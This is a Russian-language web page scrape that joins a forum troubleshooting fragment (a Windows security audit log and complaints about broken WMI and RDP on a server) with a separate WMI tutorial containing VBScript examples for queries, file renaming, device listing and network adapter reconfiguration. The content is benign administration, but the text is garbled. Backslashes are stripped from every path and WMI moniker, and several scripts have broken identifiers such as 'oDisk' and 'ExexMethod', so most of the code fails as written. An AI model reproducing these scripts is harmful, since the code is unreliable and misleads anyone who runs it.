    	Операции доступа:		READ_CONTROL
    				SYNCHRONIZE
    				Запись данных (или добавление файла)
    				Добавление данных (или добавление подкаталогов, или создание копии канала)
    				WriteEA
    				ReadAttributes
    				WriteAttributes
    				
    	Причины доступа:		READ_CONTROL:	Кем выдано:	D:(A;;0x1200a9;;;BA)
    				SYNCHRONIZE:	Кем выдано:	D:(A;;0x1200a9;;;BA)
    				Запись данных (или добавление файла):	Не предоставлено
    				Добавление данных (или добавление подкаталогов, или создание копии канала):	Не предоставлено
    				WriteEA:	Не предоставлено
    				ReadAttributes:	Предоставлено элементом управления доступом в родительской папке	D:(A;;0x1301bf;;;BA)
    				WriteAttributes:	Не предоставлено
    				
    	Маска доступа:		0x120196
    	Привилегии, используемые для проверки доступа:	-
    	Число ограниченных ИД безопасности:	0
    Xml события:
    <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
      <System>
        <Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-A5BA-3E3B0328C30D}" />
        <EventID>4656</EventID>
        <Version>1</Version>
        <Level>0</Level>
        <Task>12800</Task>
        <Opcode>0</Opcode>
        <Keywords>0x8010000000000000</Keywords>
        <TimeCreated SystemTime="2016-11-09T09:33:31.679589700Z" />
        <EventRecordID>2968571</EventRecordID>
        <Correlation />
        <Execution ProcessID="984" ThreadID="200" />
        <Channel>Security</Channel>
        <Computer>srv-virtual4.palixa.ricbank.com</Computer>
        <Security />
      </System>
      <EventData>
        <Data Name="SubjectUserSid">S-1-5-21-853709256-2082333563-539477523-5281</Data>
        <Data Name="SubjectUserName">malevich admin</Data>
        <Data Name="SubjectDomainName">PALIXA</Data>
        <Data Name="SubjectLogonId">0x49e32d9</Data>
        <Data Name="ObjectServer">Security</Data>
        <Data Name="ObjectType">File</Data>
        <Data Name="ObjectName">C:WindowsSystem32compmgmt.msc</Data>
        <Data Name="HandleId">0x0</Data>
        <Data Name="TransactionId">{00000000-0000-0000-0000-000000000000}</Data>
        <Data Name="AccessList">%%1538
    				%%1541
    				%%4417
    				%%4418
    				%%4420
    				%%4423
    				%%4424
    				</Data>
        <Data Name="AccessReason">%%1538:	%%1801	D:(A;;0x1200a9;;;BA)
    				%%1541:	%%1801	D:(A;;0x1200a9;;;BA)
    				%%4417:	%%1805
    				%%4418:	%%1805
    				%%4420:	%%1805
    				%%4423:	%%1811	D:(A;;0x1301bf;;;BA)
    				%%4424:	%%1805
    				</Data>
        <Data Name="AccessMask">0x120196</Data>
        <Data Name="PrivilegeList">-</Data>
        <Data Name="RestrictedSidCount">0</Data>
        <Data Name="ProcessId">0x23a0</Data>
        <Data Name="ProcessName">C:WindowsSystem32mmc.exe</Data>
        <Data Name="ResourceAttributes">-</Data>
      </EventData>
    </Event>

    НО! При этом «Управление компьютером» открывается и всё там доступно!

  • Проблема распространяется! Я перерегистрировал все «dll» в папке «system32» и теперь перестало пускать по «RDP», при подключении пишет, что компьютер не доступен!

    В логах пояилась ошибка «WMI» 201

  • Вы же не читали что я писал выше да? Я там тонну логов скинул, зачем спрашивается. Антивирус удаляли уже. Крипто провайдеры — нет. Завтра напишу. Сервер нужно перезагрузить.

  • RDP заработало. При проверки целостности базы ошибок нет…

    C:Windowssystem32>winmgmt /verifyrepository
    База данных WMI согласована
    
    C:Windowssystem32>Winmgmt /salvagerepository
    База данных WMI согласована

    Но по WMI всё равно не могу подключится. Ещё и обновления пишут ошибку:

  • Что такое WMI
  • Классы, события и безопасность WMI
  • Средства работы с WMI
  • Язык запросов WMI
  • Использование WMI в сценариях
    • Подключение к WMI
    • Подключение методом локатора
    • Подключение методом моникера
    • Использование объекта репозитория
    • Асинхронное использование объектов репозитория
    • Работа с объектами и коллекциями объектов, полученных в результате запросов
    • Примеры сценариев на VBScript
  • Использование WMI в программах
    • Пример программы на VB.NET
  • Использование специальных средств для написания запросов
    • Scriptomatic
    • WMI Code Creator
  • Заключение

Windows Management Instrumentation (WMI) в дословном переводе — это инструментарий управления Windows. Если говорить более развернуто, то WMI — это одна из базовых технологий для централизованного управления и слежения за работой различных частей компьютерной инфраструктуры под управлением платформы Windows. Технология WMI — это расширенная и адаптированная под Windows реализация стандарта WBEM, принятого многими компаниями, в основе которого лежит идея создания универсального интерфейса мониторинга и управления различными системами и компонентами распределенной информационной среды предприятия с использованием объектно-ориентированных идеологий и протоколов HTML и XML.

В основе структуры данных в WBEM лежит Common Information Model (CIM), реализующая объектно-ориентированный подход к представлению компонентов системы. CIM является расширяемой моделью, что позволяет программам, системам и драйверам добавлять в нее свои классы, объекты, методы и свойства.

WMI, основанный на CIM, также является открытой унифицированной системой интерфейсов доступа к любым параметрам операционной системы, устройствам и приложениям, которые функционируют в ней.

Важной особенностью WMI является то, что хранящиеся в нем объекты соответствуют динамическим ресурсам, то есть параметры этих ресурсов постоянно меняются, поэтому параметры таких объектов не хранятся постоянно, а создаются по запросу потребителя данных. Хранилище свойств объектов WMI называется репозиторием и расположено в системной папке операционной системы Windows:

%SystemRoot%System32WBEMRepositoryFS

Так как WMI построен по объектно-ориентированному принципу, то все данные операционной системы представлены в виде объектов и их свойств и методов.

Все классы группируются в пространства имен, которые иерархически упорядочены и логически связаны друг с другом по определенной технологии или области управления. В WMI имеется одно корневое пространство имен Root, которое в свою очередь имеет 4 подпространства: CIMv2, Default, Secutiry и WMI.

Классы имеют свойства и методы и находятся в иерархической зависимости друг от друга, то есть классы-потомки могут наследовать или переопределять свойства классов-родителей, а также добавлять свои свойства.

Свойства классов используются для однозначной идентификации экземпляра класса и для описания состояния используемого ресурса. Обычно все свойства классов доступны только для чтения, хотя некоторые из них можно модифицировать определенным методом. Методы классов позволяют выполнить действия над управляемым ресурсом.

Каждому экземпляру класса можно обратиться по полному пути, который имеет следующую структуру:

[\ComputerNameNameSpace][:ClassName][.KeyProperty1=Value1][,KeyProperty2=Value2]…]
где
 ComputerName - имя компьютера
 NameSpace - название пространства имен
 ClassName - имя класса
 KeyProperty1=Value1, KeyProperty2=Value2 - свойства объекта и значения, по
   которым он идентифицируется.

Пример обращения к процессу с именем «Calc.exe», который запущен на локальной машине:

\.CIMv2:Win32_Process.Name="Calc.exe"

Экземпляры классов могут генерировать события, к которым можно подписываться. При наступлении события WMI автоматически создает экземпляр того класса, которому соответствует это событие. Такой механизм удобно использовать для выполнения определенной команды при наступлении определенного события, то есть следить за состоянием объектов операционной системы.

Общая безопасность в WMI реализуется на уровне операционной системы, а дополнительная политика безопасности основана на уровнях пространств имен и протокола DCOM. То есть если пользователь не имеет права делать какое-то действие через операционную систему, он не сможет это сделать и через WMI. Если же пользователю дано какое-то право в операционной системе, то это еще не означает, что это право будет и в WMI, так как в WMI действуют дополнительные параметры безопасности на уровне пространств имен.

Каждый объект операционной системы имеет свое описание безопасности (SD) со своим списком доступа (ACL), в котором перечислены идентификаторы пользователей (SID) и их привилегии. Каждое пространство имен может иметь собственное SD со своим ACL, где пользователям могут быть назначены разрешения на чтение данных, выполнение методов, запись классов и данных и другие. Данные о дополнительных разрешениях хранятся в репозитории WMI. Отдельные классы из пространств имен не имеют собственных описаний безопасности, они наследуют их от своего пространства имен.

По умолчанию администратор компьютера имеет полные права на использование WMI, а остальные пользователи могут лишь вызывать методы, считывать данные и записывать в репозиторий экземпляры классов провайдеров WMI.

Для доступа к инфраструктуре WMI используется протокол DCOM, через который пользователь подключается к WMI. Чтобы определить, какие права будут у подключившегося пользователя, используется механизмы олицетворения и аутентификации протокола DCOM.

Уровни олицетворения могут принимать следующие значения:

Anonymous Анонимный WMI-объект не может получить информацию о пользователе — доступ по такому типу не предоставляется
Identify Идентификация WMI-объект запрашивает маркер доступа пользователя — доступ предоставляется только локально
Impersonate Олицетворение WMI-объект имеет такие же права, какие имеет пользователь — рекомендуемый уровень для выполнения команд на удаленном компьютере
Delegate Делегирование WMI-объект может обратиться от имени пользователя к другому WMI-объекту — нерекомендуемый уровень, так как команды можно выполнять удаленно через цепочку из нескольких компьютеров

Уровни аутентификации (подлинности) могут принимать следующие значения:

None Отсутствует Проверка подлинности отсутствует
Default По умолчанию Стандартные настройки безопасности, которые задаются компьютером-целью команды
Connect Подключение Проверка только во время подключения к компьютеру-цели команды, проверка в ходе работы отсутствует
Call Вызов Проверка подлинности при каждом запросе к компьютеру-цели команды, заголовки пакетов подписываются, но содержимое не шифруется
Pkt Пакет Проверка подлинности всех пакетов к компьютеру-цели команды, заголовки пакетов подписываются, но содержимое не шифруется
PktIntegrity Целостность пакета Проверка подлинности и целостности всех пакетов к компьютеру-цели команды, заголовки пакетов подписываются, но содержимое не шифруется
PktPrivacy Секретность пакета Проверка подлинности и целостности всех пакетов к компьютеру-цели команды, заголовки и содержимое пакетов подписываются и шифруются

wmimgmt.msc — оснастка консоли управления MMC для настройки WMI на локальном компьютере.

Administration via WMI - wmimgmt

Оснастка консоли управления MMC для настройки WMI

winmgmt.exe — консольная утилита управления WMI локального компьютера.

Administration via WMI - winmgmt

Консольная утилита управления WMI

wbemtest.exe — графическая утилита для взаимодействия со структурой WMI на локальном или удаленном компьютере.

Administration via WMI - wbemtest

Графическая утилита для взаимодействия со структурой WMI

wmic.exe — консольная утилита для взаимодействия со структурой WMI на локальном компьютере.

Administration via WMI - wmic

Консольная утилита для взаимодействия со структурой WMI

mofcomp.exe — компилятор MOF-файлов для расширения структуры WMI, управления библиотекой классов WMI и восстановления репозитория.

Administration via WMI - mofcomp

Компилятор MOF-файлов для расширения структуры WMI

Для обращения к объектам WMI используется специфический язык запросов WMI Query Language (WQL), который является одним из разновидностей SQL. Основное его отличие от ANSI SQL — это невозможность изменения данных, то есть с помощью WQL возможна лишь выборка данных с помощью команды SELECT. Помимо ограничений на работу с объектами, WQL не поддерживает такие операторы как DISTINCT, JOIN, ORDER, GROUP, математические функции. Конструкции IS и NOT IS применяются только в сочетании с константой NULL.

Запросы WQL обычно применяются в скриптах, но их также можно протестировать в программе Wbemtest и в консольной утилите Wmic (утилита wmic не требует написания ключевого слова SELECT и полей выборки)

Общий синтаксис запроса WQL выглядит так:

SELECT свойства FROM имя_класса WHERE свойство оператор значение

Например:

' Выбрать все значения класса Win32_Product и вывести все его свойства
SELECT * FROM Win32_Product
' Выбрать все значения класса Win32_Product и вывести свойство Version
SELECT Version FROM Win32_Product
' Выбрать значения класса Win32_Product, где свойство Description равно
' "Microsoft Office", и вывести свойство Version
SELECT Version FROM Win32_Product WHERE Description = "Microsoft Office"

Как видно из примеров, оператор FROM — это источник (класс), коллекцию экземпляров которого нужно получить, а оператор WHERE — это фильтр в запросе.

В скриптах для подключения к WMI используются два метода: с использованием локатора (SWbemLocator) и с использованием моникера (WinMgmts). Метод локатора позволяет установить соединие с пространством имен от имени определенной учетной записи. Метод моникера разрешает подключаться к WMI только от имени текущей учетной записи.

Использование этого метода необходимо, когда в сценарии нужно явно задать имя и пароль учетной записи для подключения к WMI. Объект SWbemLocator создается так:

Set mSWbemLocator = CreateObject("WbemScripting.SWbemLocator")

Подключение к репозиторию WMI производится с помощью метода ConnectServer:

mSWbemServices = mSWbemLocator.ConnectServer([ServerName], [NameSpace], [User], _
 [Password], [Locate], [Authority], [SecurityFlags], [WbemNamedValueSet])
где
 ServerName - имя компьютера (если не указано, то локальный компьютер),
 NameSpace - пространство имен (если не указано, то пространство по умолчанию),
 User - имя пользователя в формате ДоменУчетнаяЗапись (если не указано, то текущий
   пользователь),
 Password - пароль указанного пользователя,
 Locate - код локализации (если не указано, то текущий язык),
 Authority - имя домена, если он не указан в параметре User (если не указано, то
   текущий домен),
 SecurityFlags - время ожидания подключения,
 WbemNamedValueSet - контекстная информация для провайдера, который используется
   для запроса.

Безопасность объекта указывается с помощью свойства Security_, в котором указывается уровень олицетворения и привилегии.

Пример использования локатора:

' Создание объекта
Set mSWbemLocator = CreateObject("WbemScripting.SWbemLocator")
' Задание уровня аутентификации (6 - секретность пакетов)
mSWbemLocator.Security_.AuthenticationLevel = 6
' Задание уровня олицетворения (3 - олицетворение)
mSWbemLocator.Security_.ImpersonationLevel = 3
' Добавление привелегии (разрешение завершать работу)
mSWbemLocator.Security_.Privileges.AddAsString("SeShutdownPrivilege")
' Подключение к репозиторию
Set mSWbemServices = mSWbemLocator.ConnectServer(".", "RootCIMv2",,,,, 128)

Моникер — это строка, задающая путь к классу WMI, экземпляр которого должен быть создан. Моникер состоит из обязательного префикса «winmgmts:», необязательных настроек безопасности, необязательного пути к требуемому классу:

Set mSWbemServices = GetObject("winmgmts:[{SecurityOptions}!]\[Server][NameSpace]")

Пример использования моникера:

' Подключение к пространству имен по умолчанию локального компьютера
Set mSWbemServices0 = GetObject("winmgmts:")

' Подключение к указанному пространству имен удаленного компьютера
' с указанием метода олицетворения
Set mSWbemServices1 = GetObject("winmgmts:{impersonationLevel=Impersonate}!" & _
 "\MyComputerRootCIMv2")

' Подключение к указанному объекту локального компьютера
' с указанием метода олицетворения и привилегий
Set mSWbemServices2 = GetObject("winmgmts:" & _
 "{impersonationLevel=Impersonate, (Shutdown, RemoteShutdown)}!" & _
 "\.RootCIMv2:Win32Process.Handle=4")

' Подключение к указанному объекту локального компьютера
Set mSWbemServices3 = GetObject("winmgmts:\.RootCIMv2:Win32Process.Handle=4")

В результате подключения к WMI получается объект SWbemServices, который обладает определенными свойствами и методами. Наиболее часто используемые из них — это Get, ExecQuery, ExecMethod.

Метод Get используется для возвращения определения класса или экземпляра управляемого ресурса:

Set mObject = Get([ObjectPath],[Flags],[WbemNamedValueSet])
где
 ObjectPath - путь к объекту WMI,
 Flags - опции,
 WbemNamedValueSet - контекстная информация для провайдера.

Пример использования метода Get:

' Подключение к пространству имен
Set mSWbemServices = GetObject("winmgmts:\.RootCIMv2")
' Получение экземпляра класса с заданным свойством
Set mProcess = mSWbemServices.Get("Win32_Process.Handle=4")

Метод ExecQuery используется для выполнения запросов на языке WQL:

Set mObject = ExecQuery(Query,[QueryLanguage],[Flags],[WbemNamedValueSet])
где
 Query - текст запроса,
 QueryLanguage - язык запроса (всегда равен "WQL")
 Flags - опции,
 WbemNamedValueSet - контекстная информация для провайдера.

Пример использования метода ExecQuery:

' Подключение к пространству имен
Set mSWbemServices = GetObject("winmgmts:\.RootCIMv2")
' Получение всех экземпляров класса с заданным свойством
Set mProcesses = mSWbemServices.ExecQuery("SELECT * FROM Win32_Process WHERE Handle = 4")

Метод ExecMethod используется для выполнения метода указанного объекта:

Set mObject = ExecMethod(ObjectPath, MethodName,[InParams],[Flags],[WbemNamedValueSet])
где
 ObjectPath - путь к объекту WMI,
 MethodName - имя метода,
 InParams - входные параметры для метода,
 Flags - опции (всегда равно нулю),
 WbemNamedValueSet - контекстная информация для провайдера.

Пример использования метода ExecMethod:

' Подключение к пространству имен
Set mSWbemServices = GetObject("winmgmts:\.RootCIMv2")
' Получение указателя на класс
Set mProcess = mSWbemServices.Get("Win32_Process")
' Создание коллекции входных параметров для метода
Set mInParams = mProcess.Methods_("Create").InParameters.SpawnInstance_
mInParams.CommandLine = "notepad.exe"
' Выполнение метода
Set mOutParams = mSWbemServices.ExexMethod("Win32_Process", "Create", mInParams)

Указанные выше методы работают в синхронном и полусинхронном режиме, то есть программа или сценарий не выполняет следующую команду или запрос до тех пор, пока не получит ответ от текущего запущенного метода.

Аналогично синхронным методам WMI позволяет выполнять команды асинхронно, то есть не дожидаться результатов выполнения очередного запроса и продолжать работу сценария или программы. Названия таких асинхронных методов имеют окончание «Async», а работа с ними почти не отличается от обычных методов, но должны быть использованы два обязательных параметра: ссылка на специальный объект «слив событий» и контекстная информация объекта.

Объект «слива событий» (от английского «sink» — раковина) создается следующим образом:

Set mSink = WScript.CreateObject("WbemScripting.SWbemSink", "Sink_")
где
 Sink_ - префикс для функций.

Наиболее часто используемые события, обрабатываемые таким «сливом» асинхронных методов, — это OnObjectReady и OnCompleted. Как можно догадаться из названий событий, первое происходит, когда возвращается очередной объект, порожденный асинхронным запросом. Второе происходит после полного завершения асихронного метода. Событие OnObjectReady выдает на выход объект, который был запрошен асихронной операцией, а событие OnCompleted — код ошибки или 0.

Пример использования асинхронного метода:

' Подключение к пространству имен
Set mSWbemServices = GetObject("winmgmts:\.RootCIMv2")
' Создание объекта "слива событий"
Set mSink = WScript.CreateObject("WbemScripting.SWbemSink", "Sink_")
' Флаг завершения асинхронного метода
mCompleted = False
' Вызов асинхрнонного запроса
mSWbemServices.ExecQueryAsync mSink, "SELECT * FROM Win32_Process"
' Зацикливание скрипта до окончание запроса (здесь можно выполнять любые другие операции)
' Как только асинхронный метод вернет какое-нибудь событие, то будет вызвана
' соотвествующая процедура, которая описана ниже, а работа основного скрипта на время
' прервется
While Not mCompleted
   WScript.Sleep 1000
Wend
' Процедура обработки события возврата очередного объекта
Sub Sink_OnObjectReady(mWbemObject, mWbemAsyncContext)
   WScript.Echo mWbemObject.Name
End Sub
' Процедура обработки события завершения запроса
Sub Sink_OnCompleted(mResult, mWbemErrorObject, mWbemAsyncContext)
   If mResult = 0 Then
       WScript.Echo "Запрос успешно завершен"
   Else
       WScript.Echo "Запрос завершен с ошибкой"
   End If
   mCompleted = True
End Sub

Рассмотренные выше методы возвращают объекты и коллекции объектов, которые обладают своими методами и свойствами. Информацию о всех свойствах и методах, поддерживаемых конкретным объектом, можно получить с помощью такого скрипта:

' Объект mObject получен методом Get
' Получение свойств и их значений
For Each mCurrentProperty in mObject.Properties_
   Wscript.Echo mCurrentProperty.Name & ": " & mCurrentProperty.Value
Next
' Получение методов
For Each mCurrentMethod in mObject.Methods_
   Wscript.Echo mCurrentMethod.Name
Next

Коллекция объектов всегда обладает общими для всех экземпляров свойствами, наиболее часто используемые свойства — это Count и Item.

Count — это свойство коллекции объекта, которое содержит количество элементов коллекции.

Item(mObjectPath) — это метод, который возвращает один объект коллекции, соответствующий указанному пути.

Как уже выяснилось, объект имеет свои методы и свойства, которые соответствуют классу данного экземпляра, но помимо классовых свойств и методов всем объектам присущи универсальные, которые оканчиваются на символ подчеркивания, чтобы отличать их от классовых. Наиболее часто используемые универсальные методы — это ExecMethod_ и Put_.

ExecMethod_(mMethod, mWbemInParamsm, mFlags, mWbemNamedValueSet) — это метод для исполнения классового метода у используемого объекта.

Put_(mFlags, mWbemNamedValueSet) — это метод для записи измененных свойств объекта в репозиторий WMI и в реальный объект.

Пример использования метода Put_ — изменение метки диска:

' Подключение к пространству имен
Set mSWbemServices = GetObject("winmgmts:\.RootCIMv2")
' Получение объекта логического диска
Set mDisks = mSWbemServices.ExecQuery("SELECT * FROM Win32_LogicalDisk WHERE DeviceID = 'C:'")
' Перебор коллекции возвращенных объектов
For Each mDisk in mDisks
   ' Смена метки диска
   oDisk.VolumeName = "System"
   ' Запись изменений
   oDisk.Put_
Next

Пример использование класса CIM_DataFile для переименования файлов:

' Целевой компьютер
mComputer = "."
' Целевая папка
mFolderPath = "C:Temp"
' Подключение к пространству имен целевого компьютера
Set mSWbemServices = GetObject("winmgmts:\" & mComputer & "RootCIMv2")
' Получение колекции файлов целевой папки
Set mFileList = mSWbemServices.ExecQuery ("ASSOCIATORS OF {Win32_Directory.Name='" _
 & mFolderPath & "'} WHERE ResultClass = CIM_DataFile")
' Обработка коллекции файлов
For Each mCurrentFile In mFileList
   ' Формирование нового имени файла
   mNewName = mCurrentFile.Drive & mCurrentFile.Path & mCurrentFile.FileName _
     & "." & mCurrentFile.Extension & ".old"
   ' Переименование файла
   errResult = mCurrentFile.Rename(mNewName)
   ' Формирование отчета о переименовании
   if errResult = 0 then
       mResultText = mResultText & "File " & mCurrentFile.Name & " renamed to " _
         & mNewName & vbCrLf
   else
       mResultText = mResultText & "Error at renaming " & mCurrentFile.Name & _
         " file" & vbCrLf
       errResult = 0
   end if
Next
' Вывод отчета о переименовании
Wscript.Echo(mResultText)

Аналогично приведенному примеру можно совершать и другие действия с файлами, так как класс CIM_DataFile поддерживает методы: копирование, удаление, переименование, NTFS-сжатие, смена разрешений, смена владельца.

Пример использования классов оборудования компьютера для получения информации о количестве портов USB 2.0 и используемых USB-устройствах:

iCounter = 0
' Целевой компьютер
mComputer = "."
' Подключение к пространству имен целевого компьютера
Set mSWbemServices = GetObject("winmgmts:\" & mComputer & "RootCIMv2")
' Получение колекции USB-контроллеров
Set mControllerList = mSWbemServices.ExecQuery("Select * From Win32_USBController")
' Обработка USB-контроллеров
For Each mCurrentController in mControllerList
   If Instr(mCurrentController.Name, "Enhanced") Then
       iCounter = iCounter + 1
   End If
Next
' Формирование отчета о USB-контроллерах
mResultText = "USB 2.0 Ports count: " & iCounter & vbCrLf & vbCrLf
' Получение колекции USB-устройств
Set mDeviceList = mSWbemServices.ExecQuery ("Select * From Win32_USBControllerDevice")
' Обработка USB-устройств
For Each mCurrentDevice in mDeviceList
   mDeviceName = mCurrentDevice.Dependent
   mDeviceName = Replace(mDeviceName, Chr(34), "")
   mDeviceNames = Split(mDeviceName, "=")
   mDeviceName = mDeviceNames(1)
   ' Получение свойств каждого устройства по его идентификатору
   Set mUSBDeviceList = mSWbemServices.ExecQuery("Select * From Win32_PnPEntity " _
     & "Where DeviceID = '" & mDeviceName & "'")
   ' Обработка свойств устройства
   For Each mCurrentUSBDevice in mUSBDeviceList
       ' Формирование отчета о USB-устройствах
       mResultText = mResultText & mCurrentUSBDevice.Description & vbCrLf
   Next    
Next
' Вывод результата
Wscript.Echo(mResultText)

Пример использования класса свойств принтеров для получения информации о настройках принтеров:

' Целевой компьютер
mComputer = "."
' Задание констант кодов типов доступа к текстовому файлу
Const ForReading = 1
Const ForWriting = 2
Const ForAppending = 8
' Создание объекта оболочки и получение текущей директории
Set oShell = CreateObject("wscript.shell")
sWorkDirectory = oShell.CurrentDirectory
' Создание объекта файловой системы и файла
Set oFSO = CreateObject ("Scripting.FileSystemObject")
Set mResultFile = oFSO.OpenTextFile(sWorkDirectory & "PrinterList.txt", ForWriting, True, 0)
' Подключение к пространству имен целевого компьютера
Set mSWbemServices = GetObject("winmgmts:\" & mComputer & "RootCIMv2")
' Получение колекции локальных принтеров
Set mPrinterList = mSWbemServices.ExecQuery("SELECT * FROM Win32_Printer WHERE Local = True")
' Запись заголовка в файл
mResultFile.WriteLine("Name;Comment;Location;ShareName;DriverName;PortName;")
' Обработка каждого принтера
For Each mCurrentPrinter in mPrinterList
   mResultFile.WriteLine(mCurrentPrinter.Name & ";" & mCurrentPrinter.Comment & ";" & _
     mCurrentPrinter.Location & ";" & mCurrentPrinter.ShareName & ";" & _
     mCurrentPrinter.DriverName & ";" & mCurrentPrinter.PortName & ";")
Next
' Закрытие файла
mResultFile.Close

Пример использования класса свойств сетевого адаптера для изменения конфигурации сетевой карты — перевода с DHCP на статическую конфигурацию:

' Целевой компьютер
mComputer = "."
' Новые сетевые параметры задаются конкретными значениями
' Аналогичные параметры задаются значением "The same"
' Пустые парамеры задаются значением ""
mNewIPAddress = "The same"
mNewSubnetMask = "The same"
mNewDNSServer = "The same"
mNewDefaultIPGateway = "The same"
mNewWINSPrimaryServer = "The same"
mNewWINSSecondaryServer = "The same"
' Рабочие массивы
Dim mDNSServerList()
Dim mDefaultIPGatewayList()
Dim mGatewayMetricList()
Dim mNewDNSServerList()
Dim mNewDefaultIPGatewayList()
Dim mNewGatewayMetricList()
' Подключение к пространству имен целевого компьютера
Set mSWbemServices = GetObject("winmgmts:\" & mComputer & "RootCIMv2")
' Получение коллекции адаптеров с указанным IP-адресом
Set mAdapterList = mSWbemServices.ExecQuery ("Select * From Win32_NetworkAdapter")
' Получение MAC-адреса адаптера локального адаптера
For Each mCurrentAdapter In mAdapterList
   If InStr(LCase(mCurrentAdapter.NetConnectionID), "локальн") > 0 _
     Or InStr(LCase(mCurrentAdapter.NetConnectionID), "local") > 0 Then
       mMACAddress = mCurrentAdapter.MACAddress
       mCaption = mCurrentAdapter.Caption
       Exit For
   End If
Next
' Получение коллекции параметров адаптера с указанным MAC-адресом
Set mAdapterConfigList = mSWbemServices.ExecQuery _
 ("Select * From Win32_NetworkAdapterConfiguration WHERE MACAddress = '" _
 & mMACAddress & "'")
' Получение текущих параметров сетевого адаптера с указанным MAC-адресом
For Each mCurrentAdapterConfig In mAdapterConfigList
   ' IP-адрес
   If IsNull(mCurrentAdapterConfig.IPAddress) = False Then
       For Each mCurrentIPAddress In mCurrentAdapterConfig.IPAddress
           mIPAddress = mCurrentIPAddress
           Exit For
       Next
   End If
   If mNewIPAddress = "The same" Then mNewIPAddress = mIPAddress
   mNewIPAddressList = Array(mNewIPAddress)
   ' Маска подсети
   If IsNull(mCurrentAdapterConfig.IPSubnet) = False Then
       For Each mCurrentIPSubnet In mCurrentAdapterConfig.IPSubnet
           mSubnetMask = mCurrentIPSubnet
           Exit For
       Next
   End If
   If mNewSubnetMask = "The same" Then mNewSubnetMask = mSubnetMask
   mNewSubnetMaskList = Array(mNewSubnetMask)
   ' DNS сервера
   If IsNull(mCurrentAdapterConfig.DNSServerSearchOrder) = False Then
       iCounter = 0
       For Each mCurrentDNSServer In mCurrentAdapterConfig.DNSServerSearchOrder
           Redim Preserve mDNSServerList(iCounter)
           mDNSServerList(iCounter) = mCurrentDNSServer
           iCounter = iCounter + 1
       Next
   End If
   If mNewDNSServer = "The same" Then
       For iCounter = 0 To UBound(mDNSServerList)
           Redim Preserve mNewDNSServerList(iCounter)
           mNewDNSServerList(iCounter) = mDNSServerList(iCounter)
       Next
   Else
       For iCounter = 0 To UBound(Split(mNewDNSServer,";"))
           Redim Preserve mNewDNSServerList(iCounter)
           mNewDNSServerList(iCounter) = Split(mNewDNSServer,";")(iCounter)
       Next
   End If
   ' Шлюзы
   If IsNull(mCurrentAdapterConfig.DefaultIPGateway) = False Then
       iCounter = 0
       For Each mCurrentDefaultIPGateway In mCurrentAdapterConfig.DefaultIPGateway
           Redim Preserve mDefaultIPGatewayList(iCounter)
           mDefaultIPGatewayList(iCounter) = mCurrentDefaultIPGateway
           Redim Preserve mGatewayMetricList(iCounter)
           mGatewayMetricList(iCounter) = iCounter + 1
           iCounter = iCounter + 1
       Next
   End If
   If mNewDefaultIPGateway = "The same" Then
       For iCounter = 0 To UBound(mDefaultIPGatewayList)
           Redim Preserve mNewDefaultIPGatewayList(iCounter)
           mNewDefaultIPGatewayList(iCounter) = mDefaultIPGatewayList(iCounter)
           Redim Preserve mNewGatewayMetricList(iCounter)
           mNewGatewayMetricList(iCounter) = iCounter + 1
       Next
   Else
       For iCounter = 0 To UBound(Split(mNewDefaultIPGateway,";"))
           Redim Preserve mNewDefaultIPGatewayList(iCounter)
           mNewDefaultIPGatewayList(iCounter) = Split(mNewDefaultIPGateway,";")(iCounter)
           Redim Preserve mNewGatewayMetricList(iCounter)
           mNewGatewayMetricList(iCounter) = iCounter + 1
       Next
   End If
   ' WINS сервера
   If IsNull(mCurrentAdapterConfig.WINSPrimaryServer) = False Then
       mWINSPrimaryServer = mCurrentAdapterConfig.WINSPrimaryServer
   End If
   If mNewWINSPrimaryServer = "The same" Then
       If IsNull(mCurrentAdapterConfig.WINSPrimaryServer) = True Then
           mNewWINSPrimaryServer = ""
       Else
           mNewWINSPrimaryServer = mWINSPrimaryServer
       End If
   End If
   If IsNull(mCurrentAdapterConfig.WINSSecondaryServer) = False Then
       mWinsSecondaryServer = mCurrentAdapterConfig.WINSSecondaryServer
   End If
   If mNewWinsSecondaryServer = "The same" Then
       If IsNull(mCurrentAdapterConfig.WINSSecondaryServer) = True Then
           mNewWinsSecondaryServer = ""
       Else
           mNewWinsSecondaryServer = mWINSSecondaryServer
       End If
   End If
   Exit For
Next
' Формирование сообщения по текущей и по будущей конфигурациям сетевого адаптера
mInfoMessage = "Network adapter: " & mCaption & vbCrLf _
 & "MAC address: " & mMACAddress & vbCrLf _
 & "Current configuration:" & vbCrLf _
 & vbTab & "IP address: " & mIPAddress & vbCrLf _
 & vbTab & "Subnet mask: " & mSubnetMask & vbCrLf _
 & vbTab & "Default Gateway: " & Join(mDefaultIPGatewayList,";") & vbCrLf _
 & vbTab & "DNS servers: " & Join(mDNSServerList,";") & vbCrLf _
 & vbTab & "WINS Primary Server: " & mWINSPrimaryServer & vbCrLf _
 & vbTab & "WINS Secondary Server: " & mWINSSecondaryServer & vbCrLf _
 & "New configuration:" & vbCrLf _
 & vbTab & "IP address: " & mNewIPAddress & vbCrLf _
 & vbTab & "Subnet mask: " & mNewSubnetMask & vbCrLf _
 & vbTab & "Default Gateway: " & Join(mNewDefaultIPGatewayList,";") & vbCrLf _
 & vbTab & "DNS servers: " & Join(mNewDNSServerList,";") & vbCrLf _
 & vbTab & "WINS Primary Server: " & mNewWINSPrimaryServer & vbCrLf _
 & vbTab & "WINS Secondary Server: " & mNewWINSSecondaryServer & vbCrLf _
 & vbCrLf & "Please confirm the changes" & mNewWINSSecondaryServer & vbCrLf
' Окно подтверждения изменения настроек сетевого параметра
mChangeFlag = MsgBox(mInfoMessage, vbOKCancel, "Network card settings change")
If mChangeFlag = vbOK Then
   ' Установка нового IP адреса
   For Each mCurrentAdapterConfig in mAdapterConfigList
       errEnable = mCurrentAdapterConfig.EnableStatic _
         (mNewIPAddressList, mNewSubnetMaskList)
       errGateways = mCurrentAdapterConfig.SetGateways _
         (mNewDefaultIPGatewayList, mNewGatewayMetricList)
       errWINS = mCurrentAdapterConfig.SetWINSServer _
         (mNewWINSPrimaryServer, mNewWinsSecondaryServer)
       errDNS = mCurrentAdapterConfig.SetDNSServerSearchOrder _
         (mNewDNSServerList)
       Exit For
   Next
   ' Pезультат операции
   mInfoMessage = "Operation result:" & vbCrLf _
     & "IP address error code: " & errEnable & vbCrLf _
     & "Gateway error code: " & errGateways & vbCrLf _
     & "DNS error code: " & errDNS & vbCrLf _
     & "WINS error code: " & errWINS & vbCrLf
Else
   mInfoMessage = "The operation is canceled"
End If
Wscript.Echo(mInfoMessage)

